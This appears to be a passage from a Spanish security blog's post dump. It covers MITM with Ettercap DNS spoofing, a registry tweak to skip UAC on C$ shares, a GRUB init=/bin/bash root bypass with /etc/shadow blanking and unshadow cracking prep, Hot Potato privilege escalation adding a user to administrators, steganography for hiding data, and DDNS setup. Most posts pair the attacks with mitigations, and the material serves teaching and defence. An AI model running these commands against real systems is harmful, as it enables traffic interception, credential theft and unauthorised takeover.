la técnica más que en su elaboración. Figura 6: Creación de un posible sitio web malintencionado. Redirigimos las peticiones DNS a las direcciones IP que queramos en este caso al servidor Apache que estará sirviendo en la máquina del atacante. Como ejemplo podemos redirigir las peticiones que vayan hacia google.es hacia una dirección IP correspondiente a otro sitio web que se verá más adelante, facebook.com y a este blog se redirigirán al servidor Apache del atacante. Editamos el fichero del plugin \u0026ldquo;dns_spoof\u0026rdquo; de Ettercap. /etc/ettercap/etter.dns Figura 7: Editando fichero etter.dns para redirección de peticiones DNS de la víctima. Una vez creado el documento principal y redirigido las peticiones DNS a la dirección IP de nuestro servidor, arrancamos el servicio del servidor Apache (ya instalado por defecto en Kali). service apache2 start Figura 8: Iniciar el servicio del servidor Apache. Lanzamos el plugin dns_spoof a través de ettercap haciendo uso de la terminal. Estando la terminal de arpspoof funcionando. Abrimos una nueva terminal para ejecutar lo siguiente. ettercap -T -q -i [INTERFAZ_RED] -M arp:remote -P dns_spoof //[IP_ROUTER]// //[IP_VÍCTIMA]// Figura 9: Ejecución del plugin dns_spoof de Ettercap en la terminal. Si observamos las siguientes capturas de pantalla, vemos como el cliente intenta acceder a facebook.com y este lo redirige a nuestro servidor Apache. Es curioso que siendo sitios webs bien conocidos y que de forma automática redirigen estas solicitudes a conexiones HTTPS y no HTTP. Pero en ciertas ocasiones y también dependiendo de cómo tengamos de limpios los navegadores webs tanto en IE como Firefox en ambos casos redirigieron estas solicitudes a donde se esperaba. En la mayoría de ocasiones esto no fue posible mostrarlo tal cual aparecen en las capturas, ya que como ya dije al final del post de la parte 1 existen técnicas (HSTS y HPKP) que evitan que esto pase así como tampoco sería efectivo con SSLStrip el cual veremos en una futura entrada de este blog. De manera que en la gran mayoría de ocasiones (no en todas) tuve que forzar la petición por \u0026ldquo;HTTP://facebook.com\u0026rdquo; en la barra de direcciones del navegador. Estos sitios web están configurados para redireccionar de forma automática sus solicitudes HTTP a HTTPS. Aunque se acceda por algún enlace o se escriba solamente \u0026ldquo;facebook.com\u0026rdquo; estas webs siempre intentarán redirigir a su sitio seguro y comprobar su certificado. En el caso de este blog al no disponer de HTTPS y menos de un certificado de confianza, vemos que no existe ningún problema en redirigir tráfico HTTP. En el último caso la redirección de google.es hacia la dirección IP establecida vemos que ha funcionado. Lo cual no siempre fue así de las pruebas realizadas, por la misma razón que comenté anteriormente, la redirección HTTP a HTTPS. Figura 10: Redirección de facebook.com hacia el servidor Apache del atacante. Figura 11: Redirección de es.es.facebook.com hacia el servidor Apache del atacante. Figura 12: Redirección de zonasystem.com al servidor Apache del atacante. Figura 13: Redirección de google.es hacia la dirección IP establecida en etter.dns. Con nslookup vemos la comprobación de redirecciones DNS en el equipo atacado. En este caso facebook.com redirige al servidor Apache del equipo atacante. Figura 14: Comprobando las redirecciones DNS en el equipo atacado. En próximas entradas comentaré para qué sirve y cómo usar SSLStrip. Las desventajas que actualmente existen y que posibilidades de redirigir tráfico HTTPS hacia HTTP. Saludos! "},{"title":"Ataques MITM: ARP Poisoning y DNS Spoof con Ettercap (Parte 1/2)","url":"/posts/ataques-mitm-arp-poisoning-dns-spoof-ettercap-parte-1/","summary":" Ataques MITM: ARP Poisoning y DNS Spoof con Ettercap - Parte 1 de 2 Ataques MITM: ARP Poisoning y DNS Spoof con ARPSpoof - Parte 2 de 2 Existen múltiples utilidades para realizar técnicas de ataques …","tags":["Red Team","Hacking Ético","MITM","ARP Spoofing","DNS Spoof","Redes"],"date":"2017-07-09","content":" Ataques MITM: ARP Poisoning y DNS Spoof con Ettercap - Parte 1 de 2 Ataques MITM: ARP Poisoning y DNS Spoof con ARPSpoof - Parte 2 de 2 Existen múltiples utilidades para realizar técnicas de ataques Man In The Middle (MITM). Es un tema que está más que documentado en Internet. En una anterior entrada ya comenté en qué consisten y como realizar estos ataques desde Cain \u0026amp; Abel en entornos Windows. Con el fin de tener esto como un apunte personal más, comentaré como realizar un \u0026ldquo;ARP Poisoning\u0026rdquo; y incorporar el plugin \u0026ldquo;DNS_Spoof\u0026rdquo; con Ettercap, una utilidad gráfica que podemos descargar e instalar en cualquier entorno Linux. Por defecto también está disponible en Kali Linux. Ettercap es muy sencillo de utilizar, por lo que no me extenderé explicando los detalles. Solamente con las capturas de pantalla se pueden seguir los pasos perfectamente y entender sus funciones. Establecemos las librerías pcap. Sniff \u0026gt; Set pcap filter\u0026hellip; Figura 1: Set pcap filter Ettercap. Asignamos una interfaz de red para el sniffing. Sniff \u0026gt; Unified sniffing\u0026hellip; Figura 2: Asignar interfaz de red para la captura de paquetes. Indicamos la interfaz de red, en este caso eth0. Figura 3: Indicar interfaz de red. Escaneamos los hosts disponibles de la red local. Scan for hosts\u0026hellip; Una vez realizado el escaneo listamos los hosts disponibles. Hosts list. Figura 4: Escaneo de hosts disponibles de la red local. En este escenario vemos dos hosts disponibles, el equipo que nos interesa atacar es el que corresponde a la dirección IP 192.168.100.10. Lo seleccionamos y realizamos el ARP Poisoning hacia este equipo. Mitm \u0026gt; ARP poisoning\u0026hellip; Figura 5: Selección de la víctima para ARP poisoning. Nos interesa capturar las conexiones del equipo remoto por lo que seleccionamos Sniff remote connections. Figura 6: Sniff para conexiones remotas. En este punto ya estaremos envenenando la tabla ARP de la víctima. Pero añadiremos el plugin \u0026ldquo;dns_spoof\u0026rdquo; que integra Ettercap. Esto nos servirá para suplantar peticiones DNS y así redirigir estas peticiones a la dirección IP que tengamos establecida en el fichero /etc/ettercap/etter.dns. Administramos los plugins disponibles en Ettercap. Plugins \u0026gt; Manage the plugins\u0026hellip; Figura 7: Administrar plugins en Ettercap. Se abrirá una nueva pestaña en la que buscaremos y seleccionaremos el plugin dns_spoof. Figura 8: Selección del plugin dns_spoof. Por último solo restará modificar el fichero local /etc/ettercap/etter.dns (en Kali Linux) para redirigir las peticiones de nombres de dominio del equipo víctima hacia las direcciones IP que establezcamos. En este caso las redirigí al propio equipo local (atacante) que tiene la IP 192.168.100.20. En este equipo tengo un servidor Apache el cual podría almacenar una réplica de la website que estamos redirigiendo, de este modo podríamos \u0026ldquo;engañar\u0026rdquo; a la víctima haciendo creer que está accediendo a facebook.com cuando realmente está accediendo en mi web idéntica de facebook.com alojada en mi servidor Apache. Figura 9: Fichero etter.dns. Redirigiendo websites. Tiempo atrás se podía realizar con éxito este ataque. Hoy en día gracias a las mejoras de seguridad existen mecanismos que dificultan los DNS Spoof como son HPKP y HSTS. Estos pueden interceptar las comunicaciones, cookies y otros parámetros. Obligando el uso de protocolos seguros como HTTPS, redirigiendo los sitios webs a su lugar legítimo. De manera informativa y educativa en posteriores entradas comentaré una de las técnicas que podemos utilizar para intentar bypasear este tipo de mecanismos de seguridad. Saludos! "},{"title":"Permitir ejecuciones remotas con cualquier usuario en C$ (LocalAccountTokenFilterPolicy)","url":"/posts/permitir-ejecuciones-remotas-recurso-compartido-c-localaccounttokenfilterpolicy/","summary":"En Windows existen ciertos recursos compartidos establecidos por defecto con intenciones administrativas. Entre ellos está el conocido C$ (C dolar, el símbolo \u0026ldquo;$\u0026rdquo; indica que se trata de un …","tags":["Post-Explotación","Movimiento lateral","Bypass UAC","SMB","CIFS","Regedit"],"date":"2016-06-25","content":"En Windows existen ciertos recursos compartidos establecidos por defecto con intenciones administrativas. Entre ellos está el conocido C$ (C dolar, el símbolo \u0026ldquo;$\u0026rdquo; indica que se trata de un recurso que el sistema mantiene \u0026ldquo;oculto\u0026rdquo;), que seguramente muchos usaríamos para poder conectarnos al equipo remoto de una red de forma subyacente al usuario de ese equipo, básicamente tener acceso a su disco del sistema C: (letra de unidad asignada por defecto en sistemas Windows). Podemos ver en la consola de Microsoft (fsmgmt.msc) de \u0026ldquo;Carpetas compartidas\u0026rdquo;, los recursos que por defecto son compartidos, donde veremos el conocido c$ (C dolar) entre otros. Figura 1: Consola Microsoft fsmgmt.msc \u0026ldquo;Carpetas compartidas\u0026rdquo;. Para que esta conexión sea posible, aparte de tener las debidas configuraciones de red bien configuradas como veremos más adelante. Hablando en este caso de una \u0026ldquo;red privada o doméstica\u0026rdquo; es necesario una de las dos siguientes posibilidades: Conocer el usuario y contraseña con privilegios administrativos de la máquina remota. Crear un usuario y contraseña igual que el usuario con el que intentamos conectarnos al equipo remoto. En este caso nos quedaremos con la opción más cómoda que sería la de añadir el usuario al equipo remoto. En el caso de formar parte de una red de dominio, esto se debería administrar con grupos en el propio controlador de dominio (DC). En este caso podríamos crear un grupo en el que incluiríamos a los usuarios administrativos y ese grupo incluirlo en grupo de administradores de forma manual o por algún script mediante GPOs en los equipos de la red de Dominio. Escenario de ejemplo: Equipo: PLUTON | Usuario activo: maria Equipo: JUPITER | Usuario activo: juan En el siguiente ejemplo, de una red privada, el usuario activo en el equipo local es \u0026ldquo;juan\u0026rdquo; (equipo: Jupiter), pero el usuario remoto con el que queremos acceder desde el cliente es \u0026ldquo;maria\u0026rdquo; (del equipo: Pluton, pero que se creará también en el equipo Jupiter). Por lo que en el equipo remoto crearíamos una cuenta de usuario con la misma contraseña que la del equipo donde queremos acceder y lo agregamos al grupo de Administradores, de modo que haya una coherencia entre este usuario en ambas máquinas. Figura 2: Usuarios administradores del equipo remoto. Hasta este punto todo correcto. Pero cuando intentamos acceder con el usuario y contraseña del mismo que el del equipo remoto aunque exista dicha coherencia de credenciales igualmente, por seguridad, nos solicita usuario y contraseña a través del UAC. Por lo que queremos es evitar o eludir el UAC en este caso. Escribiendo en una ventana de ejecución el nombre o dirección IP del equipo remoto seguido del recurso compartido C$: \\\\equipo_remoto\\c$. Figura 3: Ejecutando el recurso compartido C$ hacia un equipo remoto de la misma red. En sistemas Windows XP dentro de una red era común si teníamos los suficientes privilegios en un usuario frente a un equipo remoto el poder acceder a su disco C: (letra de unidad asignada por defecto a un sistema Windows) ya que este por defecto se compartía. Esto a partir de Windows Vista en adelante con la incorporación del sistema UAC (User Account Control) nos solicita, por seguridad, que nos autentiquemos con un usuario privilegiado de la máquina remota y por lo tanto confirmemos las credenciales del usuario con el que intentamos acceder a la máquina remota. En siguiente caso el usuario maria del equipo Pluton quiere conectarse al equipo Jupiter. Figura 4: Autenticación de login con UAC para el acceso al recurso compartido C$. Para poder eludir el UAC, solamente en este caso, podremos hacerlo fácilmente añadiendo un valor con un dato específico en una clave concreta del registro de Windows. Pero antes comentaré algunas configuraciones previas a tener en cuenta para todos los equipos de red o en los que queramos tener este tipo de acceso. Antes de establecer la clave de registro oportuna, revisamos la configuración de la red privada para comprobar si está todo bien establecido, por defecto cuando nos unimos a un grupo de trabajo de una red privada o de hogar esto se autoconfigura correctamente. En el caso de usar una red privada, formar parte de un grupo de trabajo o grupo del hogar, nos centraremos en la configuración de uso compartido avanzado de este. En el apartado privado (que sería el que correspondería en este caso) comprobaremos que esté activada la \u0026ldquo;detección de redes, compartir archivos e impresoras, y que Windows administre las conexiones del grupo del hogar\u0026rdquo;. Por defecto, cuando configuramos un equipo para que este se una a un grupo del hogar esta configuración debería estar ya preestablecida del siguiente modo. Figura 5: Configuración del uso compartido de redes (entorno privado). En un segundo bloque vemos la configuración de \u0026ldquo;Todas las redes\u0026rdquo; las cuales son otro tipo de características en la que digamos que el uso compartido no afecta para \u0026ldquo;perfiles públicos o invitados\u0026rdquo;. Deberemos tener activas las tres opciones disponibles, o simplemente las dos últimas opciones \u0026ldquo;Usar un cifrado de 128 bits y activar el uso compartido por contraseña\u0026rdquo;, el cual en este caso no tendrá relevancia si lo tenemos activado o desactivado, ya que no se trataría de recursos compartidos de forma intencionada sino de los recursos compartidos por defecto del sistema, esta característica no está disponible en equipos que se encuentren en un dominio. En la primera opción \u0026ldquo;Activar el uso compartido para todos los usuarios a carpetas públicas\u0026rdquo; se refiere a aquellas carpetas del perfil de usuario que por defecto Windows comparte, pero que no tienen una gran importancia si no guardamos nada en ellas. Figura 6: Configuración del uso compartido de redes (todas las redes). Al activar las características anteriores, sobre todo la que respeta al uso compartido de archivos e impresoras, esta por defecto añade unas determinadas reglas de entrada en el WFAS (Windows Firewall Advanced Security) referentes al protocolo SMB (Service Message Block), las cuales se deberían aplicar en este caso solo al perfil privado. Figura 7: Reglas de entrada del Firewall avanzado para SMB \u0026ldquo;Compartir archivos e impresoras\u0026rdquo;. Por último comprobaremos un par de servicios. El servicio \u0026ldquo;Examinador de equipos\u0026rdquo; (Browser) realiza repetidas comprobaciones de actualización para conocer a los equipos vecinos de una misma red, de modo que así nuestro equipo estará actualizando la lista de equipos latentes dentro de la red. Figura 8: Servicio \u0026ldquo;Examinador de equipos de red\u0026rdquo; (Browser). El servicio \u0026ldquo;Servidor\u0026rdquo; (LanmanServer) nos proporcionará compatibilidad para todos aquellos equipos que quieran acceder a este, ofreciendo así el servicio necesario para acceder a sus recursos compartidos. Figura 9: Servicio \u0026ldquo;Servidor\u0026rdquo; (LanmanServer). Finalmente y el motivo por lo que escribo este artículo, sería añadir el valor necesario en el registro de Windows para poder bypassear la autenticación UAC. La autenticación se hace pero se hace de forma subyacente, esto simplemente nos evita autenticarnos con usuario y contraseña de forma manual. En el registro de Windows del equipo remoto que queremos conectarnos (Jupiter), buscamos la clave: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System Añadimos un nuevo valor REG_DWORD de 32 bits (aunque el sistema sea de x64 el valor tendría que ser igualmente de 32 bits). El nombre de este valor será: LocalAccountTokenFilterPolicy y la información de dato la establecemos a \u0026ldquo;1\u0026rdquo;. Debilita una mitigación clave contra Pass-the-Hash LocalAccountTokenFilterPolicy=1 desactiva el filtrado de tokens UAC para sesiones remotas con cuentas locales. En entornos donde la cuenta Administrador local comparte hash entre máquinas (típico en parques sin LAPS), un atacante con un solo hash puede moverse lateralmente vía SMB/WMI sin restricciones. Combínalo con LAPS o restricciones de Tier 0 antes de aplicar. Figura 10: \u0026ldquo;LocalAccountTokenFilterPolicy\u0026rdquo; para evitar la autenticación manual en acceso a C$. Ahora simplemente cerramos el registro y probamos, si aún así no se actualizasen los cambios, cerraríamos sesión o si fuese necesario (que en las pruebas que he realizado no ha sido necesario) reiniciaríamos el equipo. Veremos que ahora al intentar acceder al recurso compartido C$ del equipo remoto al que hemos añadido este valor no nos pedirá de forma visible la autenticación de un usuario con privilegios para acceder a él y a ese recurso. Se puede ver en una fsmgmt.msc la existencia de una sesión remota activa del usuario maria procedente del equipo remoto Pluton, la cual solo usó el usuario local creado en el grupo administradores del equipo Jupiter (equipo remoto al que se conectó maria) para autenticarse, aunque como se ve en la captura de pantalla la sesión es con referencia al equipo remoto que accedió. (usuario maria del equipo Pluton accedió al equipo \u0026gt; Jupiter) . Visualizando las sesiones activas en la consola fsmgmt.msc. Figura 11: Conexión remota activa, existencia de una sesión de usuario conectada al equipo. Esto está definido por Microsoft (KB951016): https://support.microsoft.com/es-es/kb/951016 Saludos! "},{"title":"Restablecer password de root y bypass login Linux: shell con GRUB y cómo evitarlo","url":"/posts/restablecer-password-root-bypass-login-linux-shell-grub-evitar/","summary":"Me he dado cuenta de que no tenía ninguna publicación al respecto sobre esto. Se trata de un viejo trick ya conocido por la comunidad, hace un tiempo ya publicara algo similar, pero en esta ocasión lo …","tags":["Pentesting","Hacking Ético","Hardening","Post-Explotación","Escalada de privilegios","MITRE ATT\u0026CK","GRUB","BIOS"],"date":"2016-05-10","content":"Me he dado cuenta de que no tenía ninguna publicación al respecto sobre esto. Se trata de un viejo trick ya conocido por la comunidad, hace un tiempo ya publicara algo similar, pero en esta ocasión lo comento en más detalle y el cómo protegerse de este tipo de técnica de bypass login en sistemas Linux. Si tenemos acceso físico a la máquina o al hipervisor de una máquina virtual Linux, para poder restablecer la password de root, dejarla en blanco o cualquier otra acción privilegiada como acceder a los volúmenes del sistema para realizar un volcado o copia de los ficheros /etc/passwd y /etc/shadow con el fin de realizar un cracking de contraseñas por fuerza bruta a sus hashes, es aprovechar un pequeño hack -si se puede llamar así- usando el gestor de arranque múltiple GNU Grub (multiboot boot loader). No se trata de ningún bug, explotación o vulnerabilidad (aunque pueda ser aprovechada de forma malintencionada). Simplemente es una funcionalidad estándar del kernel de Linux que permite a los administradores de sistemas entrar en un modo a una consola interactiva para poder recuperar un sistema de ficheros dañado o una contraseña olvidada. Más adelante veremos cómo se puede fortificar el acceso a la edición desde el menú del gestor de arranque Grub. En sistemas Linux ya sea con interfaz gráfica como un entorno de terminal sin GUI, podemos invocar manualmente el menú de Grub presionando la tecla Shift en el momento del arranque del sistema. Figura 1: Menú del gestor de arranque GNU Grub. Presionando la tecla e podemos editar Grub. Localizamos una línea similar a linux /boot/vmlinuz-VERSION-generic root=UUID=IDENTIFICADOR ro maybe-ubiquity modificamos ro (solo lectura) por rw (lectura y escritura) y añadimos al final init=/bin/bash, guardamos y salimos con Ctrl-x. Esto reiniciará el sistema y nos levantará una shell privilegiada en un contexto de root. Bypass total de autenticación Añadir rw init=/bin/bash a la línea de kernel desde GRUB arranca el sistema con una shell root sin autenticación. Cualquier usuario con acceso físico (o consola virtual) al boot puede tomar el control total. Mitígalo con: password de GRUB (grub-mkpasswd-pbkdf2), cifrado de disco (LUKS) y BIOS/UEFI password. linux /boot/vmlinuz-VERSION-generic root=UUID=IDENTIFICADOR ro maybe-ubiquity quiet splash linux /boot/vmlinuz-VERSION-generic root=UUID=IDENTIFICADOR rw maybe-ubiquity init=/bin/bash quiet splash quiet: Indica un modo silencioso (menos verbose), útil para ver todos los mensajes en el arranque del sistema, como los controladores y módulos, checks del sistema y errores. splash: Simplemente muestra una imagen de carga (en movimiento) en el arranque del sistema. init=/bin/bash: Indica al kernel de Linux que ejecute /bin/bash como init, en lugar de ejecutar init como sistema. Figura 2: Modificación del Grub para iniciar un shell con privilegios de root. Después de reiniciar se levantará una terminal en un contexto de root. Podremos restablecer la password y establecer una nueva con el comando passwd o realizar cualquier acción privilegiada. Figura 3: Restablecer la password de root. Eliminar la password root dejando una contraseña en blanco. Para ello editamos el fichero /etc/shadow eliminando el asterisco (*) después de los primeros dos puntos (:) de forma que quede un espacio vacío, con esto eliminamos el uso de una contraseña para un usuario. root::18305:0:99999:7::: Figura 4: Password en blanco root editando /etc/shadow. Como comenté al principio, podemos insertar una memoria USB externa, montarla y realizar una copia del fichero /etc/passwd y /etc/shadow con la finalidad de realizar ataques de fuerza bruta para la obtención de contraseñas de los usuarios del sistema. Debemos unir ambos ficheros en un único fichero con unshadow. /usr/bin/unshadow \u0026lt;fichero-passwd\u0026gt; \u0026lt;fichero-shadow\u0026gt; \u0026gt; /tmp/crack.passwords ¿Cómo evitar y protegerse de esta técnica? Link to heading El hardening para evitar que cualquier persona que pueda tener acceso a la máquina de forma física o virtual desde el entorno del hipervisor y pueda realizar esta técnica. 1. Establecer password de arranque y BIOS/UEFI Link to heading Si se trata de un equipo físico. Establecer una password de arranque del sistema, algo que podemos configurar en la BIOS/UEFI. También establecer una password en el acceso al Setup de la BIOS/UEFI evitando así que no se pueda realizar un boot de otro sistema a través de Live CD/USB. 2. Cifrar el disco Link to heading Si existe la posibilidad es recomendable cifrar el volumen del sistema con LUKS. 3. Establecer una password de acceso a Grub Link to heading Establecer una password en el Grub es la opción más sencilla y segura. Creamos una password tipo PBKDF2 (Password-Based Key Derivation Function 2) que se caracteriza por reducir ataques de fuerza bruta. Se nos genera un hash pbkdf2 el cual copiaremos. grub-mkpasswd-pbkdf2 Figura 5: Establecer password al gestor de arranque Grub. Editamos el siguiente fichero. sudo nano /etc/grub.d/00_header Al final del fichero pegamos lo siguiente. cat \u0026lt;\u0026lt; EOF set superusers=\u0026#34;admin\u0026#34; password_pbkdf2 admin *HASH* EOF Donde \u0026ldquo;admin\u0026rdquo; será el nombre del usuario que queremos que valide para el acceso al menú del gestor de arranque Grub y HASH lo sustituimos por el generado anteriormente. Actualizamos el Grub para aplicar los cambios. sudo update-grub Reiniciamos y pulsamos la tecla Shift para forzar que se muestre el menú de Grub. Se nos mostrará un login para su acceso donde introduciremos el usuario y contraseña establecidos anteriormente. Figura 6: User y password para acceder al gestor de arranque Grub. Saludos! "},{"title":"Shadow Explorer: recuperar información de instantáneas (VSS)","url":"/posts/shadow-explorer-recuperar-vss-instantaneas/","summary":"Shadow Explorer es una herramienta gratuita en la cual podemos recuperar información a través de instantáneas creadas en el tiempo gracias a la habilitación de protección del sistema de Windows.\nNos …","tags":["DFIR","Análisis Forense","Backups","Shadow Explorer","Blue Team"],"date":"2016-03-13","content":"Shadow Explorer es una herramienta gratuita en la cual podemos recuperar información a través de instantáneas creadas en el tiempo gracias a la habilitación de protección del sistema de Windows. Nos permitirá seleccionar determinadas fechas (en las que se establecieron las instantáneas) recuperar información de ficheros/directorios en puntos del sistema. Simplemente seleccionamos la unidad, la fecha y buscamos el directorio a examinar para recuperar dichos datos y con el botón derecho los restauraremos en su ubicación original donde habían sido borrados. Figura 1: Instantáneas cronológicas de Shadow Explorer en Windows. Esta aplicación hace esta tarea de forma sencilla, pero la característica de mostrarnos estas instantáneas es debido a la \u0026ldquo;Protección del sistema\u0026rdquo; característica de Windows 7 en adelante la cual nos permite recuperar versiones anteriores de archivos en las cuales previamente de forma programada Windows fue haciendo sus \u0026ldquo;shadow copy\u0026rdquo; para versiones anteriores en archivos. En propiedades del sistema \u0026gt; Protección del sistema \u0026gt; Configurar. Habilitamos y personalizamos el tamaño de uso de esta característica. Este servicio es denominado por Microsoft como: Volume Shadow Copy Service (VSS). Figura 2: Protección del sistema para versiones anteriores. Como ejemplo vemos que en las propiedades de esta carpeta en la pestaña de \u0026ldquo;Versiones anteriores\u0026rdquo; están las shadow copys que se fueron haciendo a lo largo del tiempo desde su creación hasta la actualidad. Aunque en la siguiente captura (Windows 7) nos describe que las versiones anteriores provienen o bien de Copias de seguridad o bien de Puntos de restauración. Figura 3: Versiones anteriores en distintas fechas de un directorio. Realmente en Windows 10 nos comentan en la misma descripción que las versiones anteriores de archivos provienen de estas dos anteriores y a mayores el historial de archivos ese sería el afectado en esta característica de Windows. Ya que no es necesario tener habilitado o creado puntos de restauración o copias de seguridad para tener esta característica habilitada (Volume Shadow Copy Service - VSS). Figura 4: Configuración de \u0026ldquo;Historial de archivos de Windows\u0026rdquo; (Shadow Copy). Saludos! "},{"title":"Steghide: esteganografía ocultando información en imágenes y audio","url":"/posts/steghide-ocultar-informacion-imagenes-audio/","summary":"Steghide es una herramienta para esteganografía la cual nos permitirá ocultar determinada información dentro de otra.\nEs compatible con sistemas Windows y Linux. Por lo que la descargaremos y …","tags":["Red Team","Anti-Forense","Esteganografía","Data Exfiltration","Steghide","MITRE ATT\u0026CK"],"date":"2016-02-08","content":"Steghide es una herramienta para esteganografía la cual nos permitirá ocultar determinada información dentro de otra. Es compatible con sistemas Windows y Linux. Por lo que la descargaremos y simplemente a través de la respectiva consola la ejecutaremos. Cuenta con un manual detallado para cada uno de sus modificadores. Para incrustar información dentro de otra, de un texto a una imagen por ejemplo. steghide embed -cf {PATH_IMAGEN} -ef {PATH_fichTexto} Nos pedirá una contraseña para proteger el fichero raíz. Para extraer el fichero de texto que mantiene nuestra información \u0026ldquo;oculta\u0026rdquo;, lo extraemos nos pedirá la contraseña establecida para desbloquear el fichero raíz. steghide --extract -sf {PATH_IMAGEN} Figura 1: Ocultando fichero de texto en una imagen .jpg con Steghide. Saludos! "},{"title":"Hot Potato: Elevación de privilegios en Windows","url":"/posts/hot-potato-elevacion-de-privilegios-en-windows/","summary":"El equipo de Foxglovesecurity.com hace pocos días ha publicado en su blog un exploit el cual desde un usuario de nivel bajo puede elevar sus privilegios dentro de un sistema hasta el nivel más alto. …","tags":["Post-Explotación","Red Team","Escalada de privilegios","NTLM","SMB","MITM","MITRE ATT\u0026CK"],"date":"2016-01-19","content":"El equipo de Foxglovesecurity.com hace pocos días ha publicado en su blog un exploit el cual desde un usuario de nivel bajo puede elevar sus privilegios dentro de un sistema hasta el nivel más alto. Haciendo uso de una pequeña herramienta de comandos que estos denominaron como \u0026ldquo;Hot Potato\u0026rdquo;. Esto es posible debido a unos fallos de diseño de Windows que no están bien gestionados en el que se realizan tres ataques en uno. NBNS Spoofing (NetBios sobre TCP/IP o NetBios Name Service), WPAD (Web Proxy Autodiscovery Protocol) y HTTP \u0026gt; SMB NTLM Relay (autenticación NTLM de HTTP a SMB). Siendo posible que un usuario sin privilegios consiga una escalada de privilegios y obtenga el nivel de acceso \u0026ldquo;NT AUTHORITY\\SYSTEM\u0026rdquo;. Como ejemplo en una máquina virtual con Windows 7 PRO de 32bits el cual tiene las configuraciones por defecto. Haciendo uso de Potato intentaré escalar a un usuario raso y hacerlo formar parte del grupo Administradores del sistema en un Windows 7. Nos descargamos a local Potato abrimos una consola de comandos y comprobamos la dirección IP local y el usuario local de esa instancia el cual no tiene privilegios y es el usuario el cual queremos elevar sus permisos. potato.exe -ip \u0026lt;local_ip\u0026gt; -disable_exhaust true -cmd \u0026#34;C:\\\\Windows\\\\System32\\\\cmd.exe /K net localgroups administradores \u0026lt;local_user\u0026gt; /add\u0026#34; Figura 1: Uso de Hot Potato en Windows 7. El uso de Hot Potato en Windows 10 o Windows Server los parámetros serían distintos, en la web de los desarrolladores hay más información para estos casos. ¿Mitigación a estos tres ataques? Lo que podemos hacer para solucionar esto sería revisar el tráfico NBNS de nuestra red, para WPAD detener el servicio de detección automática de proxy web WinHTTP, y para NTLM forzar la autenticación de Kerberos y NTLMv2, forzar la política para firmar siempre comunicaciones SMB. https://docs.microsoft.com/es-es/windows/security/threat-protection/security-policy-settings/smbv1-microsoft-network-server-digitally-sign-communications-always https://docs.microsoft.com/es-es/windows/security/threat-protection/security-policy-settings/microsoft-network-server-digitally-sign-communications-always Saludos! "},{"title":"DeepSound: esteganografía en ficheros de audio","url":"/posts/deepsound-ocultar-informacion-ficheros-audio/","summary":"La práctica o técnica de ocultación de información de mensajes u objetos dentro de otros se conoce como Esteganografía. En este caso orientado al mundo de la tecnología de la información, existen …","tags":["Red Team","Anti-Forense","Esteganografía","Data Exfiltration"],"date":"2016-01-15","content":"La práctica o técnica de ocultación de información de mensajes u objetos dentro de otros se conoce como Esteganografía. En este caso orientado al mundo de la tecnología de la información, existen diversos tipos de esteganografía, aunque fundamentalmente en este blog hablaré en la mayoría de los casos de esteganografía por técnicas de software. Para aquellos que hayan visto la serie Mr. Robot, el protagonista Elliot hace uso de una herramienta para ocultar información de ficheros de imagen en ficheros de audios que posteriormente graba en CD, esta aplicación solo funciona bajo sistemas Windows, por lo que en la escena de la serie que vemos esto Elliot arranca una máquina virtual de Windows bajo su Linux. DeepSound es una herramienta que solo funciona bajo sistemas Windows y que nos permite ocultar información dentro de ficheros de audio y también convertir ficheros de audio a otros formatos. Lo bueno de esto, es que conservamos el contenido original del fichero de audio, es decir, que no alteramos el contenido de reproducción del mismo así quien abra este fichero de audio lo reproducirá correctamente sin saber que hay información oculta \u0026ldquo;dentro de él\u0026rdquo;. Lo único que podemos notar es un ligero aumento de tamaño del fichero de audio lo cual en principio no llevará a mucha sospecha. Será necesario tener instalado en nuestro equipo el paquete Microsoft .NET Framework 4.0. Es sencilla de utilizar, simplemente seleccionamos los ficheros de audio en los que queremos ocultar otros ficheros de información y marcamos el tipo de compresión (low, normal, high). Figura 1: Añadiendo ficheros a ocultar dentro de un fichero de audio en DeepSound. Una vez tenemos los ficheros que queremos ocultar encapsulados en los ficheros de audio correspondientes los encodeamos para unificarlo en un mismo fichero con formato de audio que escojamos, en mi caso hice referencia a dos ficheros .pdf. Finalmente hacemos referencia a un directorio y tendremos la opción de establecer una password con un cifrado AES de 256bits. Figura 2: Encapsulando ficheros dentro de un fichero de audio .wav con password AES-256. Para poder extraer y ver el contenido encapsulado en los ficheros de audio, abrimos el fichero de audio que queramos extraer, introducimos la password (en caso de haber establecido alguna) y lo extraemos, si nos vamos al directorio de salida por defecto establecido, veremos los ficheros .pdf que se habían agregado al fichero .wav. Figura 3: Extracción de información contenida en el fichero de audio original. Un ejemplo en el que considero que tendríamos una ofuscación de información muy robusta, podría ser de la siguiente manera: Comprimir un conjunto de ficheros, a este le establecemos una contraseña robusta a través de 7-zip y a su vez este fichero comprimido lo dividimos en varias partes (para que sea de un tamaño más ligero), cada parte separada de compresión las iremos encapsulando en distintos ficheros de audio con otro password a mayores establecida en Deepsound y a su vez después convertir también desde Deepsound un formato de fichero .wav a otro formato. Descargar DeepSound Saludos! "},{"title":"Configurar DDNS con No-IP para acceso remoto (Windows/Linux)","url":"/posts/configurar-ddns-noip-windows-linux/","summary":"Hoy en día existe gran información en internet sobre cómo crear un DDNS (Dynamic Domain Name System), pero simplemente como apunte personal y con motivo de entradas posteriores que iré publicando, …","tags":["Redes","DNS","RDP","Port Forwarding"],"date":"2015-11-04","content":"Hoy en día existe gran información en internet sobre cómo crear un DDNS (Dynamic Domain Name System), pero simplemente como apunte personal y con motivo de entradas posteriores que iré publicando, escribiré esta entrada para tenerla como referencia. En una red convencional disponemos de un rango de IPs internas (LAN) los cuales hacen NAT para salir a otras redes externas hacia Internet, NAT traduce las peticiones de todas las direcciones IPs internas en una única dirección IP externa/pública la cual es proporcionada por nuestro ISP. Esta dirección IP pública cada vez que solemos reiniciar el router y esperamos el TTL suficiente para que expire la concesión de esa misma dirección IP o sencillamente nuestro ISP la \u0026ldquo;cambia\u0026rdquo; por otra dirección perdemos la pista de ella, ya que normalmente los usuarios domésticos no disponen de una dirección IP estática por parte de su ISP, en ese caso habría que negociar una posible dirección IP estática para uso doméstico y tendríamos que pagar un plus a mayores por este servicio. Por esa razón para acceder de una red externa a nuestra red personal, deberíamos saber en todo momento qué dirección IP pública tenemos asignada en ese momento por nuestro ISP. Por lo que DDNS nos permite asociar una dirección IP pública a un nombre de dominio el cual podamos recordar y el cual se esté enviando de forma periódica solicitudes de renovación por un posible cambio de dirección IP en el que el servicio que escojamos nos mantenga actualizada la redirección del 